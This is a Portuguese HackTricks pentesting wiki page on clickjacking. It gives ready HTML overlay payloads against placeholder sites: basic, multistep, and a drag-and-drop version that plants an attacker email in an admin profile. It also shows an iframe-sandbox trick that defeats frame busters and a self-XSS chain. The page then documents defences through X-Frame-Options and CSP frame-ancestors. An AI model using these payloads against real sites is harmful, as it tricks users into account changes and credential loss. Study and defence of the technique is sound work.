hacktricks/pentesting-web/clickjacking.md

12 KiB

Clickjacking

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:


Use Trickest para construir e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Obtenha Acesso Hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

O que é Clickjacking

Clickjacking é um ataque que engana um usuário para clicar em um elemento de uma página web que é invisível ou disfarçado como outro elemento. Isso pode fazer com que os usuários, sem saber, baixem malware, visitem páginas web maliciosas, forneçam credenciais ou informações sensíveis, transfiram dinheiro ou comprem produtos online. (De aqui).

Truque de pré-preenchimento de formulários

Às vezes é possível preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.

Preencher formulário com Arrastar e Soltar

Se você precisa que o usuário preencha um formulário mas não quer pedir diretamente para ele escrever algumas informações específicas (como o email ou uma senha específica que você conhece), você pode simplesmente pedir para ele Arrastar e Soltar algo que escreverá seus dados controlados como neste exemplo.

Payload Básico

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload Multistep

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Payload de Arrastar e Soltar + Clique

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Se você identificou um ataque XSS que requer que um usuário clique em algum elemento para acionar o XSS e a página é vulnerável a clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode definir e ler). A página com o formulário para definir esses detalhes é vulnerável ao Clickjacking e você pode preencher previamente o formulário com os parâmetros GET.
__Um atacante poderia preparar um ataque de Clickjacking para essa página preenchendo previamente o formulário com o payload XSS e enganando o usuário a Enviar o formulário. Assim, quando o formulário for enviado e os valores forem modificados, o usuário executará o XSS.

Como evitar Clickjacking

Defesas do lado do cliente

É possível executar scripts do lado do cliente que realizam alguns ou todos os seguintes comportamentos para prevenir Clickjacking:

  • verificar e garantir que a janela da aplicação atual seja a principal ou a janela superior,
  • tornar todos os frames visíveis,
  • prevenir cliques em frames invisíveis,
  • interceptar e sinalizar possíveis ataques de clickjacking em um usuário.

Bypass

Como os frame busters são JavaScript, as configurações de segurança do navegador podem impedir sua operação ou mesmo o navegador pode não suportar JavaScript. Uma solução eficaz de ataque contra frame busters é usar o atributo sandbox do HTML5 iframe. Quando isso é definido com os valores allow-forms ou allow-scripts e o valor allow-top-navigation é omitido, então o script de frame buster pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior:

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Os valores `allow-forms` e `allow-scripts` permitem as ações especificadas dentro do iframe, mas a navegação de nível superior é desativada. Isso inibe comportamentos de quebra de frame enquanto permite funcionalidade dentro do site alvo.

Dependendo do tipo de ataque de Clickjacking realizado **você também pode precisar permitir**: `allow-same-origin` e `allow-modals` ou [até mais](https://www.w3schools.com/tags/att_iframe_sandbox.asp). Ao preparar o ataque, basta verificar o console do navegador, ele pode informar quais outros comportamentos você precisa permitir.

### X-Frame-Options

O **cabeçalho de resposta HTTP `X-Frame-Options`** pode ser usado para indicar se um navegador deve ou não ser **permitido** para renderizar uma página em um `<frame>` ou `<iframe>`. Sites podem usar isso para evitar ataques de Clickjacking, garantindo que **seu conteúdo não seja incorporado em outros sites**. Defina o cabeçalho **`X-Frame-Options`** para todas as respostas que contenham conteúdo HTML. Os valores possíveis são:

* `X-Frame-Options: deny` que **impede qualquer domínio de enquadrar o conteúdo** _(Valor recomendado)_
* `X-Frame-Options: sameorigin` que **permite apenas ao site atual** enquadrar o conteúdo.
* `X-Frame-Options: allow-from https://trusted.com` que **permite ao 'uri' especificado** enquadrar esta página.
* Verifique as limitações abaixo porque **isso falhará aberto se o navegador não suportar**.
* Outros navegadores suportam a nova **diretiva CSP frame-ancestors**. Alguns suportam ambos.

### Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)

A **proteção recomendada contra clickjacking** é incorporar a **diretiva `frame-ancestors`** na Política de Segurança de Conteúdo da aplicação.\
A diretiva **`frame-ancestors 'none'`** é semelhante em comportamento à diretiva **X-Frame-Options `deny`** (_Ninguém pode enquadrar a página_).\
A diretiva **`frame-ancestors 'self'`** é amplamente equivalente à diretiva **X-Frame-Options `sameorigin`** (_apenas o site atual pode enquadrá-la_).\
A diretiva **`frame-ancestors trusted.com`** é amplamente equivalente à **X-Frame-Options** `allow-from` (_apenas o site confiável pode enquadrá-la_).

A seguinte CSP lista branca frames para o mesmo domínio apenas:

`Content-Security-Policy: frame-ancestors 'self';`

Veja a seguinte documentação para mais detalhes e exemplos mais complexos:

* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)

### Limitações <a href="#limitations" id="limitations"></a>

* **Suporte do navegador:** CSP frame-ancestors não são suportados por todos os principais navegadores ainda.
* **X-Frame-Options tem prioridade:** [Seção "Relação com X-Frame-Options" da Especificação CSP](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) diz: "_Se um recurso é entregue com uma política que inclui uma diretiva chamada frame-ancestors e cuja disposição é "enforce", então o cabeçalho X-Frame-Options DEVE ser ignorado_", mas o Chrome 40 & Firefox 35 ignoram a diretiva frame-ancestors e seguem o cabeçalho X-Frame-Options em vez disso.

## Referências

* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\
Obtenha Acesso Hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>